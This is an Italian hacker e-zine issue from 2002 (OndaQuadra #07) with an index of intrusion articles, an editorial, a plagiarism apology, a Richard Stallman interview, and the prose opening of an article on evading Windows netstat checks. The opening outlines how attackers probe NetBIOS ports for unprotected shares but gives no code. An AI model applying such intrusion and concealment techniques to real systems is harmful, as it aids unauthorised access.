Copy Link
Add to Bookmark
Report
OndaQuadra 07
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
::::::::::::, .::::::::::::::::::::::::::::::,. .,:::,,.........,:
::::::::,. s@@@@@@#. .:::::, .,:::::::::. ,:. ,, ,.,
::::::, ;@@@@@@@@@@@@@: ,:: ;H@@Ar .::::::, :@@@@@@@, .X@@@@@@@@@@:,
:::::. 2@@@ :@@@@@@@H .:, @@@@@@@@@@: .::::: @@@ @@@ . @@: ,
:::: s@@@2 ,,, #@@@@@@r :,:@@@@@@@@@@@; ,:::. h@@, . @@M ,,. @@M .::
:::, A@@@@ :::::, @@@@@@@ :, #@@@@@@@@ ::, i@@r .. i@@; ,. @@@. ,:::
::: @@@@@ ,:::::. 5@@@@@2 :::, S@@@@@@@@@: ,:, M@@ . @@M :@@X ,:::::
::: i@@@@@G ,::::. r@@@@r .::: @@@@@@@@@@@ ,, @@@ @@@ @@@ .:::::::
::: i@@@@@@A @@@@ .::, h@@@@@@@@@@@; i@@@&@@@s :@@@i ,::::::::
::: @@@@@@@@@3;.i@@@S ,::. r@@@@@@@@@@@@@@H ;s; .,;;. .::::::::::
:::, .@@@@@@@@@@@@@: ,::, @@@@@@@@@@@@@@@@@@@G .,::,....,:::::::::::
::::, 9@@@@@@i .::::: @@@@@@@@@@@@@@@@@@@@@@@S ,:::::::::::::::::::::
:::::,. .,::::, &@@@@@@@@@@@@@@@@@@@@@@@@H .::::::::::::::::::::
::::::::. ,:. @@@@@@@@@@@@@@@@@@@@@@@@@@@; ,::::::::::::::::::
:::::, :@@@@@@@@@@@; .. @@@@@@@@@@@@@@@@@@@@@@@@@@@@@ .:::::::::::::::::
:::, M@@s ,@@@@@@@@2 . @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@r .::::::::::::::::
::. @@@# .. @@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@; ,:::::::::::::::
:, ,@@@@ :::::. @@@@@@i , &@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ :::::::::::::::
: @@@@2 ,::::::. r@@@@@r :, G@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ,::::::::::::::
: S@@@@A ::::::: @@@@@ .:::. @@@@@@@@@@@@@@@@@@@@@@@@@H,A,,::::::::::::::
: H@@@@@; ,,,, 5@@@H ,:::: @@@@@@@@@@@@@@@@@@@@@@@@@@S ,::::::::::::::
: S@@@@@@@. H@@# ,:::::. @@@@@@@@@@@@@@@@@@@@@@@@@@@. :::::::::::::::
:. #@@@@@@@@@@@@@@& ,:::::::, @@@@@@@@@@@@@@@@@@@@@@@@@@@2 :::::::::::::::
:, &@@@@@@@@@H ,:::::,. M@@r2@@:@@@@@@@@@@@@@@@@@@@; :::::::::::::::
:::, A@: .,,,.2&22@@@@, A@@@@@@@@@@@@@@@@@@ :::::::::::::::
:::, .s@@@@@@@@@@@@A: s2@@@HA@@2B@M@@ A@@@@@@@@@@@@@@@ .::::::::::::::
:::,;@@@@@@@@@@@@@@@@@@@@h, ;@@@rs@@@@@@@@@@@@@@ .:::::::::::::
:::, ,3@@@@@@@@@@@@@@@@2. .@@@@@@@@@@@@@@@G :::::,. ,::
:::::::::,,. r@@@@@@@@@@@@@@@@@h; ,S#@@@@@@@@@@@r ,. 2@3,::
:::::::::::::::,. ;#@@@@@@@@@@@@@@@@@i. &@@@@@@; :H@@@@S ,::
::::::::::::::::::::,. .5@@@@@@@@@@@@@@@@@@Ai: :@@@@@@@; ,:::
:::::::::::::::::::::::::,. :G@@@@@@@@@@@@@@@@@@@@@@@@A: .,::::::
:::::::::::::::::::::::::::::::,. ... .,,::::::::::
::::::::::::::::::::::::::::::::::::::,,.. ..,,:::::::::::::::::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
+--------------------------------------------------------------------------+
| ONDAQUADRA #07 - 01/08/2002 |
+--------------------------------------------------------------------------+
| Tutto nel ciberspazio |
| E' scandito dalla squarewave |
| Dei micro-processori |
| Il clock dei micro |
| E' come |
| Un battito cardiaco |
| Elettronico... |
+--------------------------------------------------------------------------+
| http://www.ondaquadra.org |
| mail@ondaquadra.org ~ articoli@ondaquadra.org |
+--------------------------------------------------------------------------+
<-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-->
+--------------------------------------------------------------------------+
| LEGAL DISCLAIMER |
+--------------------------------------------------------------------------+
| |
| Nessuna persona dello staff di OndaQuadra si assume responsibilita' |
| per l'uso improprio dell'utilizzo dei testi e dei programmi presenti |
| nella e-zine, ne' per danni a terzi derivanti da esso. |
| OndaQuadra non contravviene in alcun modo alle aggiunte/modificazioni |
| effettuate con la legge 23 dicembre 1993, n.547 ed in particolare |
| agli artt. 615-quater- e 615-quinques-. |
| Lo scopo di OndaQuadra e' solo quello di spiegare quali sono e come |
| avvengono le tecniche di intrusione al fine di far comprendere come |
| sia possibile difendersi da esse, rendere piu' sicura la propria box e |
| in generale approfondire le proprie conoscenze in campo informatico. |
| I programmi allegati sono semplici esempi di programmazione che hanno |
| il solo scopo di permettere una migliore comprensione di quanto |
| discusso e spiegato nei testi. |
| Non e' soggetta peraltro agli obblighi imposti dalla legge 7 marzo 2001, |
| n. 62 in quanto non diffusa al pubblico con "periodicita' regolare" ex |
| art. 1 e pertanto non inclusa nella previsione dell'art.5 della legge |
| 8 febbraio 1948, n.47. |
| |
+--------------------------------------------------------------------------+
<--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-->
+--------------------------------------------------------------------------+
| COSTITUZIONE DELLA REPUBBLICA ITALIANA |
+--------------------------------------------------------------------------+
| Diritti e doveri dei cittadini: Rapporti civili |
| |
| Articolo 21 |
| Tutti hanno diritto di manifestare liberamente il proprio pensiero |
| con la parola, lo scritto e ogni altro mezzo di diffusione. [...] |
+--------------------------------------------------------------------------+
<--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-->
+--------------------------------------------------------------------------+
| INDICE |
+--------------------------------------------------------------------------+
| [L0GiN] |
| 0x01 EDiT0RiALE ................................................[JEYoNE] |
| 0x02 ERRATA C0RRiGE ........................................... [JEYoNE] |
| 0x03 LETTERA .............................................. [CityHunter] |
| 0x04 iNTERViSTA A RiCHARD STALLMAN ......................... [Cornelius] |
+--------------------------------------------------------------------------+
| [HACKiNG] |
| 0x05 N0_NETSTAT=> BYPASSARE iL NETSTAT CHECK ................. [SNHYPER] |
| 0x06 PASSi SiLENZi0Si NELLA NEVE ............................. [SNHYPER] |
| 0x07 iRC HiJACKiNG .............................................. [E4zy] |
| 0x08 HACK CRYPTOGRAPHiC TUNNELS ................................. [E4zy] |
+--------------------------------------------------------------------------+
| [LiNUX] |
| 0x09 SHELL SCRiPTiNG: BASH .................................... [Domine] |
| 0x0A AWK ...................................................... [Domine] |
| 0x0B GUiDA PRATiCA ALL0 XiNETD ................................. [CiLi0] |
+--------------------------------------------------------------------------+
| [C0DiNG] |
| 0x0C PLUS ..................................................... [Mastro] |
| 0x0D C0RS0 Di C [PARTE SESTA] ........................... [AndreaGeddon] |
| 0x0E USELESS NETBSD M0DULE 2 ................................. [_beb0s_] |
| 0x0F PERL HACKS EXPLAiNED ..................................... [Domine] |
+--------------------------------------------------------------------------+
| [MiSC] |
| 0x10 AGGiUNGiAM0 iL TAST0 MUSiC ............................... [lesion] |
| 0x11 EV0LUZi0NE MUSiC .................................. [JEYoNE_lesion] |
+--------------------------------------------------------------------------+
| [LO SCiAMANO] |
| 0x12 NU0VE iNF0RMAZi0Ni .................................... [MinDBlinD] |
| 0x13 SUi BAR0Ni PRiViLEGiATi E i L0R0 SCUDiERi ............ [il Magnano] |
+--------------------------------------------------------------------------+
| [L'APPRENDiSTA STREG0NE] |
| 0x14 CALC0LARE L'ENTR0PiA Di UN FiLE IN DELPHi ............... [Ippatsu] |
| 0x15 ESTENSi0NE DELL'ALGORiTM0 DI CESARE ......................... [e4m] |
| 0x16 CODiCE iNVERSO: CRiTT0GRAFiA DiGiTALE ............................. |
| AVANZATA PARTE 4 ........................................... [Zer0] |
| 0x17 ASSEMBLY... N0 GRAZiE, N0N FUM0! PARTE 2 .................... [e4m] |
+--------------------------------------------------------------------------+
| [SHUTD0WN] |
| 0x18 L'0PERA AL NER0 ....................................... [Tritemius] |
+--------------------------------------------------------------------------+
| [C0NTATTi] |
| 0x19 D0VE TR0VARCi ........................................ [oq ~ staff] |
+--------------------------------------------------------------------------+
| [ALLEGATi] |
| 0x01 ENTROPiA.ZIP ............................................ [Ippatsu] |
| 0x02 NOiDSSCAN.ZIP ........................................... [SNHYPER] |
| 0x03 SSL.JPG .................................................... [E4zy] |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ L0GiN #07 - 01/08/2002 |
| EDiT0RiALE [JEYoNE] 0x01/0x19 |
+--------------------------------------------------------------------------+
| Cominciamo con un altro viaggio verso il non-si-sa-dove. |
| Il tempo passa, dal primo numero di OndaQuadra sono passati quasi |
| due anni e, a quanto pare, il target di lettori e' aumentato, quasi |
| tanto quanto il target dei collaboratori. |
| L'editoriale, anche se magari non sembra, e' una delle cose piu' |
| difficili da scrivere in una rivista, prima di tutto perche' e' quello |
| che *apre* il nuovo numero, in secondo luogo perche' non ci sono degli |
| argomenti specifici da trattare, quindi non si ha una logica vera e |
| propria. |
| Ok, ovviamente il lettore non e' costretto a leggere l'editoriale, e |
| quindi non ci dovrebbero essere problemi anche se ci si scrivono |
| dentro una marea di stron*ate, ma, come si dice, anche l'occhio vuole |
| la sua parte, e poi che starei qui a fare io, se non per scriverne uno |
| decente? :)) |
| In questo numero appare una novita', l'errata corrige, forse perche' |
| non abbiamo mai fatto errori, molto piu' probabilmente perche' mai |
| nessuno si e' venuto a "lamentare" con noi per degli errori fatti. |
| Rimane il fatto che nello scorso numero gli errori ci sono stati, e |
| non siamo certo noi a nascondere le testa sotto la sabbia piuttosto |
| che affrontare "l'opinione pubblica" :))) |
| Oltre all'errata corrige ci sara' anche una lettera di CityHunter, che |
| servira' a chiarire un paio di cosuccie venute fuori all'hackit02 con |
| i s0ftpj, soprattutto con Raistlin. |
| C'e' una cosa da agiungere, per tutti i lettori che aspettavano |
| impazientemente ISWT. |
| In questo numero non e' presente perche' gli autori hanno avuto |
| problemi, ma nel prossimo numero il progetto continuera'. |
| ISWT non e' morto! |
| Mi sembra inutile dire dell'altro, visto che il numero si presenta |
| molto carico di contenuti, quindi chiudo qui l'editoriale, e vi lascio, |
| come al solito, alla lettura di questo nuovo pezzo di storia. |
| Un saluto, a presto |
| |
| JEYoNE |
| |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ L0GiN #07 - 01/08/2002 |
| ERRATA C0RRiGE [JEYoNE] 0x02/0x19 |
+--------------------------------------------------------------------------+
| Nello scorso numero di OndaQuadra sono stati commessi degli errori, |
| primo di tutti l'attribuire erroneamente ad Alcatraz2100 la "carica" |
| di organizzatore dell'hackmeeting 2001, non e' affatto cosi', c'e' |
| stato un malinteso tra l'autore dell'articolo e la redazione. Chiedo |
| umilmente scusa a tutti i membri del FreakNet :)) |
| -I sorgenti del MOF_SCANNER (allegato 0x05 #06) erano |
| corredati da un'articolo, purtroppo nella fretta ce lo siamo fatto |
| scappare e non e' stato pubblicato,lo troverete in questo numero. |
| Non ci dovrebbe essere nient'altro, se qualuno si accorgesse di |
| qualche altro errore su questo numero o sugli scorsi numeri, non esiti |
| ad inviare una mail a mail@ondaquadra.org. |
| Per eventuali rip invece potete scrivere ad abuse@ondaquadra.org |
| Grazie per la collaborazione e buona lettura! |
| |
| JEYoNE |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ L0GiN #07 - 01/08/2002 |
| LETTERA [CityHunter] 0x03/0x19 |
+--------------------------------------------------------------------------+
| Ahi,Ahi...urge velocemente una spiegazione! |
| Ho saputo che lo staff di OQ si è presa una bella sgridata da parte del |
| Softpj a causa di un mio articolo pubblicato su OQ4. L'articolo in |
| questione era Spoofing & Hijacking se non erro. |
| Il problema dov'è? Il mio articolo è molto simile (sorgente compreso) |
| al progetto OnoSendai di FuSyS apparso su BFI numero 4. Il risultato mi |
| sembra ovvio...OQ è stata cazziata perchè ha inserito un articolo |
| rippato. Inizio col precisare che mi assumo io tutto le responsabilità |
| del caso, OQ non può certo controllare tutti gli art che gli arrivano! |
| A mia discolpa cosa posso dire? Non nego ASSOLUTAMENTE di aver preso |
| spunto dai testi di FuSyS, che ringrazio ancora per i suoi lavori, ma |
| non mi pare di averlo mai negato. Mi pare che in tutto il mio articolo |
| ci sia scritto che ho preso molto da lui e che gli dovevo molto per |
| quello che ho appreso. Credo che anche lui abbia fatto altrettanto con |
| i testi di coder@reptile. Se volete potete considerare |
| il mio testo come un tributo all'opera di FuSyS. L'ho studiato a fondo |
| e quello che ho scritto è ciò che ho imparato. |
| Nulla di più, nulla di meno. Il sorgente. Idem con patate. Avrei potuto |
| prendere spoofit.h e creare da lì il programma e forse nessuno avrebbe |
| detto nulla. Invece ho riseguito pari pari il sorgente di FuSyS anche |
| per impararlo meglio io stesso. Mentre scrivevo imparavo. Chiedo scusa |
| se ho esagerato nell'emulare FuSyS, non era mia intenzione farlo |
| con lo scopo di prendere meriti non miei. Anche se ribadisco di averlo |
| detto più volte che prendevo da lui ciò che sapevo. |
| Concludo chiedendo nuovamente scusa a tutto il Softpj, a OQ, e a FuSyS |
| in particolare. Non credevo davvero di fare qualcosa di male. Sperando |
| di poterci mettere una pieta sopra, |
| salut |
| |
| CityHunter |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ L0GiN #07 - 01/08/2002 |
| iNTERViSTA A RiCHARD STALLMAN [Cornelius] 0x04/0x19 |
+--------------------------------------------------------------------------+
| F3COD&FUN - Una settimana con Richard M. Stallman: |
| - Sintesi di un sogno annunciato - |
| |
| a cura di Cornelius |
| |
| La prima edizione del meeting "F3COD&FUN" sulle tecnologie Open e |
| Free Software si e' tenuto dal 15 al 16 giugno scorso. Vedere |
| l'e-zine nr. 6. E come prima edizione, dopo sforzi sovrumani per |
| l'organizzazione e la reperibilita' di fondi economici sono rius- |
| cito (con l'aiuto di vari hackers) a fare qualcosa di concreta- |
| mente bello: "mostrare al pubblico che esistono alternative ai |
| monopoli del software che offrono liberta' alla gente". Ma non |
| voglio parlare di politica e/o filosofia del Free Software, ma |
| piuttosto della settimana in cui ho avuto l'onore di stare in- |
| sieme al leggendario hacker Richard M. Stallman, il mitico fonda- |
| tore del progetto GNU e della Free Software Foundation. |
| |
| Sono stato e sono tuttora un grande ammiratore di RMS e ho sempre |
| desiderato conoscerlo, ma non avrei mai immaginato di passare ad- |
| dirittura una settimana intera con lui ed avere l'occasione unica |
| di parlare, scherzare, mangiare e condividere tante esperienze |
| culturali. |
| |
| Nella settimana in cui sono stato con RMS, ho avuto modo di ap- |
| prezzare tante qualita' e dettagli dell'originale personalita' di |
| RMS, una personalita' tutta spinta verso l'affermazione delle |
| liberta'. Ho notato che RMS e' molto preciso e chiaro nello sp- |
| iegare i concetti che si nascondono dietro al progetto GNU e |
| all'ideologia del Free Software. Oserei dire che RMS si esprime |
| con le stesse rigorose regole semantiche e sintattiche di un lin- |
| guaggio di alto livello come il C. |
| |
| |
| cornelius |
| |
| Richard noto spesso che molte persone e spesso anche i programma- |
| tori fanno confusione a riguardo dell'Open Source e del Free |
| Software, pensando che siano la stessa cosa. |
| |
| RMS |
| |
| Si hai ragione. E' proprio cosi'. Questo e' anche colpa dei mass |
| media che pubblicizzano i fatti in modo distorto. E' la stessa |
| cosa capitata al sistema operativo free GNU/Linux dove moltissime |
| persone non comprendono che il nome Linux indica solamente il |
| kernel del sistema operativo, mentre tutto quanto c'e' intorno ad |
| esso viene dal progetto GNU. Per questo motivo e' importante |
| specificare GNU/Linux. La stessa cosa e' successa a riguardo del |
| concetto di Open Source che indica semplicemnete una metodologia |
| di sviluppo software aperta dove ognuno puo' guardare dentro al |
| programma per capire come e' fatto, guardare cioe' i suoi sorgen- |
| ti. Nell'Open Source non si parla di liberta', ma solo di un |
| metodo per sviluppare software migliore. Nel concetto di Free |
| Software invece noi indichiamo una ideologia, una filosofia che |
| pone le basi per la difesa e la tutela di tutte le liberta' |
| sull'uso del software attraverso la licenza GPL. Il Free Soft- |
| ware e' una ideologia politica che pone in primo piano gli aspet- |
| ti di liberta' del software e mette in evidenza i pericoli del |
| software proprietario, mentre l'Open Source rappresenta solo una |
| metodologia di sviluppo software che non si pone per nulla il |
| problema delle liberta'. Infatti ci sono in giro molti software |
| proprietari che sono Open Source. |
| |
| cornelius |
| |
| Al meeting F3COD&FUN abbiamo cercato di far conoscere in qualche |
| modo al grande pubblico i concetti filosofici del Free Software, |
| ma molti di loro ancora non comprendono cosa significhi realmente |
| essere liberi. |
| |
| RMS |
| |
| Si e' vero. Molte persone non comprendono quanto sia importante |
| la liberta' individuale e intellettuale. Oggi stiamo entrando in |
| un tempo nel quale le pseudo-liberta offerte dalle grandi compag- |
| nie di software stanno creando una situazione nella quale la lib- |
| erta che uno puo avere dipende totalmente dalla quantita' di denaro |
| che possiedi. Tu hai ancora la possibilita' di avere la libert to- |
| tale, ma quanta tu ne possa realmente avere dipende da quanto tu |
| sia ricco. E' uno scenario veramente spaventoso. Sono impegnato a |
| dire queste cose alla gente per avvisarle dei pericoli che cor- |
| rono. La gente deve stare attenta altrimenti rischia di perdere |
| ogni liberta' nell'usare Internet e i loro computer. |
| |
| cornelius |
| |
| il tuo punto di vista e' chiaro, ma alcuni programmatori e le |
| stesse compagnie di software rimproverano spesso al movimento del |
| Free Software che questa ideologia non permette di fare soldi con |
| il software. |
| |
| RMS |
| |
| Quando si parla di software libero intendiamo porre l'attenzione |
| sulla liberta' e non sul prezzo. Noi diciamo sempre che Free non |
| significa gratis, ma libero da ogni forma di controllo e re- |
| strizione. Quindi questo non vuol dire che stiamo dicendo che |
| nessuno deve mai pagare per avere una copia. Diciamo che una vol- |
| ta che uno ha una copia del software che preferisce, deve essere |
| libero di cambiare quel software, ridistribuirlo, farne versioni |
| migliorate e pubblicarle. E questo comprende anche la liberta' |
| di vendere quando si ridistribuisce un software free. In realta' |
| vendere copie di software libero e' molto importante perche' e' |
| un modo per fare soldi e contribuisce nel creare fondi per |
| sviluppare nuovo software libero. Ed e' quello che noi facciamo |
| alla Free Software Foundation vendendo copie di CD-ROM pieni di |
| software libero. Spesso si fraintende il giusto compenso in |
| denaro per un software con gli introiti miliardari che le grandi |
| compagnie vorrebbero realizzare vendendo software che potrebbe |
| costare molto meno. |
| |
| cornelius |
| |
| Quindi anche voi alla Free Software Foundation applicate gli |
| stessi principi ideologici per il vostro sostentamento economico. |
| |
| RMS |
| |
| Si e' proprio cosi'. La Free Software Foundation e' un ente di |
| beneficenza ufficialmente riconosciuto negli USA. E' come una |
| scuola o un ospedale, ossia la gente puo' farci una donazione e |
| poi dedurla dalle tasse. Ma la maniera principale in cui noi rac- |
| cogliamo soldi e' vendere copie di software libero, e manuali. |
| Il testo del manuale nella versione computerizzata e' disponibile |
| sulla rete o sul nostro CD-ROM. Quindi si puo' scaricare il testo |
| di un manuale, farne una copia modificato e poi venderla. La Free |
| Software Foundation vende copie di cose che chiunque puo' copiare |
| e chiunque puo' vendere. E in questo modo guadagnamo abbastanza |
| denaro per pagare il personale che lavora alla FSF. Quindi se |
| tu conosci persone che vendono copie di software libero dovresti |
| spingerli e incoraggiarli perche' piu' soldi guadagnamo per lo |
| sviluppo di software, piu' software libero avremo in futuro. |
| |
| cornelius |
| |
| ritorniamo alla modalita' di sviluppo del software libero. Molti |
| programmatori temono che sviluppando software libero le loro idee |
| e i loro sforzi possano in qualche modo essere raccolti (e fatti |
| propri) da altri programmatori che potrebbero rivendere in |
| modalita' proprietaria arricchendosi in modo disonesto. |
| |
| RMS |
| |
| E' proprio per questo motivo che abbiamo sviluppato la licenza |
| GPL per il software libero. La licenza GPL tutela gli utenti ed i |
| programmatori dalla possibilita' di inserimento di restrizioni |
| nelle liberta'. Ogni persona che ottiene una copia del nostro |
| software ottiene anche le liberta' di cui ho parlato prima. Il |
| modo in cui ci riusciamo e' attraverso una tecnica che si chiama |
| copyleft, che e' il contrario di copyright. L'idea del copyleft |
| e' che noi diciamo che ognuno ha il permesso di modificare un |
| certo programma, ha il permesso di distribuirlo, ha il permesso |
| di pubblicarne una versione perfezionata. Ma ogni volta che dis- |
| tribuisce quel programma dovra' usare esattamente i termini della |
| GPL senza cambiamenti, cosicche' chiunque voglia una copia di |
| quel software otterra' anche le stesse liberta'originali. Se noi |
| rendessimo il software di dominio pubblico, allora permetteremmo |
| alle varie societa'poco scrupolose che fanno software non libero |
| di prendere i nostri programmi e farne versioni modificate e di |
| distribuirle come software proprietario senza alcuna liberta'. E |
| in questo modo ci sarebbero persone che usano il nostro software |
| senza alcuna liberta'. E questo significherebbe un fallimento per |
| il nostro progetto, perche' il nostro scopo e' dare la liberta' |
| alla gente nell'uso e nello sviluppo di software. Quindi con il |
| copyleft ci assicuriamo che ognuno abbia la liberta'. La GNU |
| General License e' il termine legale specifico per copyleft, |
| quello che usiamo per la maggior parte dei programmi. E' impor- |
| tante spiegare che il copyleft e' giuridicamente basato sul copy- |
| right. E' per questo che possiamo farlo valere. Se qualcuno viola |
| il nostro copyleft distribuendo versioni senza il codice sorgente |
| o aggiungendovi restrizioni, viola le leggi del copyright con- |
| tenute nel nostro copyleft e possiamo fargli causa. Se qualcuno |
| o qualche compagnia fa una cosa simile col nostro software, gli |
| mandiamo una lettera e la smette. Non vogliono un processo. Sem- |
| plicemente la smettono, e cominciano a rispettare le condizioni e |
| la gente riavra' le sue liberta'. |
| |
| cornelius |
| |
| Molti osservatori di mercato iniziano ad obiettare sulle |
| metodologie di assistenza da applicare in azienda, affermando che |
| il Free Software non offre delle buone garanzie nei casi di mal- |
| funzionamento. |
| |
| RMS |
| |
| Il Free Software risolve questo tipo di problema molto meglio |
| di quanto avviene nel mondo del software commerciale o propri- |
| etario. Nel software proprietario, non si ha nessuna idea di cio' |
| che c'e' dentro e non hai nessun modo di scoprirlo. Devi soltanto |
| sperare e fidarti che non ci sia nulla di pericoloso in quel pro- |
| gramma. E ci potrebbe essere qualcosa di veramente pericoloso. In |
| effetti succede spesso. Ci sono compagnie che mettono nel soft- |
| ware routine che forniscono informazioni personali su di te. Mi- |
| crosoft ha messo routine nei suoi software che la informano di |
| tutto quello che un utente ha installato nel proprio computer. |
| Questo e' inammissibile. Alcune compagnie potrebbero vendere |
| software proprietario che contiene qualcosa di pericoloso e tu |
| potresti non saperlo mai. Anche con il software libero qualche |
| programmatore potrebbe inserire qualcosa di pericoloso in un pro- |
| gramma libero, ma con il software libero e' sempre disponibile |
| il suo codice sorgente e qualcun'altro potrebbe leggerlo e dire: |
| "Che ci fa qui questo codice? E subito invierebbe su internet la |
| notizia. Il software libero ha un grande vantaggio perche' molti |
| dei suoi utenti sono programmatori e sono costantemente alla |
| ricerca di errori e che sono pronti a risolvere. La Microsoft ad |
| esempio non ha questi aiuti. E quindi se c'e' un difetto in un |
| programma Microsoft, molto probabilmente passerrano sei mesi o un |
| anno prima che lo eliminino. In effetti uno degli aspetti del sis- |
| tema informatico che interessa alla gente e' la sua sicurezza. E |
| naturalmente ogni sistema operativo ha ogni tanto qualche difetto |
| che ne compromette la sicurezza. Ma possiamo dire che nei sistemi |
| operativi liberi questi difetti vengono eliminati molto rapida- |
| mente. Il difetto viene segnalato e in genere viene mandata una |
| patch sulla rete cosicche' chiunque puo' installarsela. Mentre chi |
| ha un sistema operativo proprietario di solito deve aspettare mesi |
| se non anni. E nel frattempo, se uno e' preoccupato per la si- |
| curezza ha un bel problema. Per cui il problema dell'assistenza |
| in azienda e' solo un problema del software proprietario. |
| |
| cornelius |
| |
| Sembra che attualmente la situazione del controllo del proprio |
| computer da parte delle aziende di monopolio stia peggiorando. Si |
| parla addirittura di dispositivi di protezione del software in- |
| stallatti direttamente nei chip del computer. |
| |
| RMS |
| |
| Le compagnie del copyright, stanno portando avanti una lotta per |
| cambiare le leggi in tutti i paesi in modo da avere piu' potere |
| per controllare quello che fai e quello che fanno tutti. Questa e' |
| la loro attivita' principale al posto di fare software migliore. |
| Quindi per esempio vogliono rendere illegale il fatto che tu pos- |
| sa permettere ad un tuo amico di vedere iltuo computer e magari |
| leggere un libro che tu hai sul computer. Anche se il libro l'hai |
| avuto legalmente e sta sul tuo computer legalmente, loro |
| vogliono rendere illegale il fatto che il tuo amico lo legga. E se |
| il tuo amico vuole comunicare in rete e' ancora peggio! Loro |
| vogliono dire che, se lui manda il libro attraverso la rete - per |
| metterlo semplicemente sul suo schermo in modo da poterlo vedere e |
| leggere, anche solo temporaneamente - vogliono rendere questo il- |
| legale. Quando tu leggi qualcosa si forma temporaneamente una |
| copia sulla retina del tuo occhio, la prossima volta diranno che |
| e' una violazione del copyright fare una copia sulla retina e che |
| quindi ci vuole un permesso per leggere il libro. In Unione So- |
| vietica ogni copista aveva un sorvegliante il cui compito era di |
| osservare cosa veniva copiato e assicurarsi che nessuno facesse |
| copie illegali, perche' prevenirele copie illegali era una delle |
| priorita' del governo sovietico. Ora l'industria del copyright |
| vuole fare lo stesso, con la differenza che vogliono farlo con |
| sorveglianti computerizzati, sorveglianti robot. Quindi vogliono |
| assicurarsi che all'interno del tuo computer sia necessario un- |
| software speciale che garantisca che tu non fai copie illegali. E |
| sara' illegale eliminare questo robot sorvegliante dal tuo com- |
| puter. Quindi cercano di interferire nella tua vita in un modo |
| molto piu' diretto e seccante di quanto non abbiano mai fatto pri- |
| ma. Aziende come Microsoft vogliono avere tutto il denaro che pos- |
| sano desiderare, per questo motivo cercano di cambiare le leggi |
| in Italia e in altri paesi. E' un diritto fondamentale dell'uomo |
| aiutare il proprio amico. Non e' solo il diritto di fare qualcosa |
| che e' giusto per se' stessi, il diritto di avere una sufficiente |
| alimentazione, un alloggio dove vivere, la liberta' di parola e |
| la liberta' di stampa: questi sono diritti importanti. La liber- |
| ta' di condividere l'informazione e' un'altro diritto fondamen- |
| tale che tutti dovrebbero avere. Ma non lo otterremo se non lot- |
| teremo per questo, perche' i detentori dell'informazioe non |
| vogliono che ce l'abbiamo. |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ HACKiNG #07 - 01/08/2002 |
| N0_NETSTAT=> BYPASSARE iL NETSTAT CHECK [SNHYPER] 0x05/0x19 |
+--------------------------------------------------------------------------+
| aeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaea |
| aeaeaea aeaeaea |
| !!!!!!! Come ti frego il tipo del netstat !!!!!!! |
| !!!!!!! con 70 linee di sano C !!!!!!! |
| !!!!!!! ..::SNHYPER::.. !!!!!!! |
| aeaeaea snhyper@hotmail.com aeaeaea |
| aeaeaeaaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaea |
| |
| /* disclaimer */ |
| |
| L'articolo vuole essere un avvertimento per tutti coloro i quali |
| vogliono / devono usare il carissimo OS Windoze e con esso tentano |
| di promuovere la sicurezza informatica. |
| Non vuole essere un incitamento al compiere azioni di |
| intrusione o azioni moleste su computer altrui. |
| L'autore, non credendo nel *Security trough Obscurity* promulgato |
| da diverse compagnie commerciali di diverso livello, parlera' in |
| in modo abbastanza chiaro del problema in oggetto,non assumendosi |
| non assumendosi nessuna responsabilita' in caso di abuso del tale. |
| |
| |
| |
| /* prefazio */ |
| |
| Ora, non che Windoze, come OS da casa per chattare con |
| gli amici o per guardarsi i porno sul web, non sia un OS sicuro... |
| almeno, sicuro dai classici script kiddye.. ma non da tutti.. |
| |
| Noi tutti sappiamo come un sistema che non ha rapporti di fiducia con |
| altri host su di una rete, o che ancor peggio non stia neanche su una |
| rete e quindi non implementi servizi di accesso e vari che potrebbero |
| essere sfruttati per i piu' disparati casi (a seconda della mente |
| dell'attacker) , sia molto difficile da attaccare in modo diretto.. |
| |
| Ovvero, se un attacker trovasse un host di cui un portscan avesse |
| evidenziato come aperte le classiche porte 135-139 ( per il bind() |
| del tcp/ip - netbios ), il passo seguente che detto attacker si |
| presterebbe a compiere sarebbe la classica ricerca di risorse |
| condivise, possibilmente senza password ( 75% dei casi ). |
| Ma se detto attacker non riscontrasse nessuna risorsa condivisa, |
| quindi le porte 135-139 risulterebbero essere solo dovute ad un |
| bind() del netbios dimenticato o trascurato...., sarebbe finito |
| qui l'attacco diretto. |
| |
| Oddio.. ci sono molti birbaccioni che dedicano giornate a floodare |
| quella porta di syn o icmp spoofati,nukando a tutto spiano (smurfando |
| per i birbaccioni piu' smaliziati..) sperando che al *nuovo nemico* |
| cada la connessione... |
| Dimostrazione, IMHO, di come una tanto sperata ed agoniata risorsa |
| condivisa, in questo caso non trovata,possa ferire a tal punto |
| l'orgoglio dell' *attacker della domenica* dal trasformarlo nel |
| flooder del secolo intento ad aprire piu' sessioni del mitico click |
| per bombardare l'ignaro utente windoziano che si chiede come mai |
| le foto porno di Wanna Marchi che fa *fist-fucking* con il maestro |
| Do Nascimiento siano cosi' lente da scaricare.... |
| |
| Ma esistono diverse branche di attacker, come sappiamo. |
| |
| Qualcun'altro provera' metodi di attacco indiretti, che sono i |
| piu' efficaci (e i soli possibili) verso host con OS Windoze che |
| non montino servizi particolari. |
